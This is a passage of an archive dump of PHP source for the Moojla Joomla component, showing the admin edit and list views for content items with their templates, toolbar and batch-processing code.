JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'contentTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'contentTab', 'details',
JText::_('COM_MOOJLA_CONTENT_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<?php echo JLayoutHelper::render('content.details_left',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'contentTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'contentTab', 'publishing',
JText::_('COM_MOOJLA_CONTENT_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('content.publishing',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('content.publlshing',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'contentTab', 'permissions',
JText::_('COM_MOOJLA_CONTENT_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="content.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/content/tmpl/index.html000064400000000054151165724410012331
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/content/view.html.php000064400000015213151165724410012011
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Content View class
*/
class MoojlaViewContent extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('content',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_CONTENT_NEW' : 'COM_MOOJLA_CONTENT_EDIT'),
'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('content.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('content.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('content.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('content.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('content.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.content',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('content.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('content');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_CONTENT_NEW' : 'COM_MOOJLA_CONTENT_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/content.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/content/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/contents/index.html000064400000000054151165724410011540
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/contents/tmpl/default.php000064400000005522151165724410012661
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=contents.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'contentList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=contents');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="contentList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_CONTENTS_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/contents/tmpl/default_batch_body.php000064400000002333151165724410015034
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo JText::_('COM_MOOJLA_CONTENTS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/contents/tmpl/default_batch_footer.php000064400000002731151165724410015377
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('content.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/contents/tmpl/default_body.php000064400000010146151165724410013674
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=contents&task=content.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('content',$item,'contents');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->contents_module_id); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'contents.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->contents_module_id); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->type); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->filename); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->mimetype); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->file); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'contents.', true, 'cb');
?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'contents.', false, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'contents.', true, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'contents.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/contents/tmpl/default_foot.php000064400000002304151165724410013703
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="9"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/contents/tmpl/default_head.php000064400000005341151165724410013641
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL',
'a.contents_module_id', $this->listDirn, $this->listOrder);
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_CONTENT_TYPE_LABEL'); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_CONTENT_FILENAME_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_CONTENT_MIMETYPE_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_CONTENT_FILE_LABEL'); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CONTENT_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_CONTENT_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CONTENT_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/contents/tmpl/default_toolbar.php000064400000007053151165724410014404
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Contents'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/contents/tmpl/index.html000064400000000054151165724410012514
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/contents/view.html.php000064400000020462151165724410012176
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Contents
*/
class MoojlaViewContents extends JViewLegacy
{
/**
* Contents view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('contents');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('content');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_CONTENTS'),
'bubble-quote');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=contents');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('content.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('content.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('contents.publish');
JToolBarHelper::unpublishList('contents.unpublish');
JToolBarHelper::archiveList('contents.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('contents.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'contents.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('contents.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('contents');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load Contents Module Id batch if create, edit, and batch is
allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Contents Module Id Selection
$this->contents_module_idOptions =
JFormHelper::loadFieldType('contentsfiltercontentsmoduleid')->options;
// We do some sanitation for Contents Module Id filter
if (MoojlaHelper::checkArray($this->contents_module_idOptions)
&&
isset($this->contents_module_idOptions[0]->value) &&
!MoojlaHelper::checkString($this->contents_module_idOptions[0]->value))
{
unset($this->contents_module_idOptions[0]);
}
// Contents Module Id Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
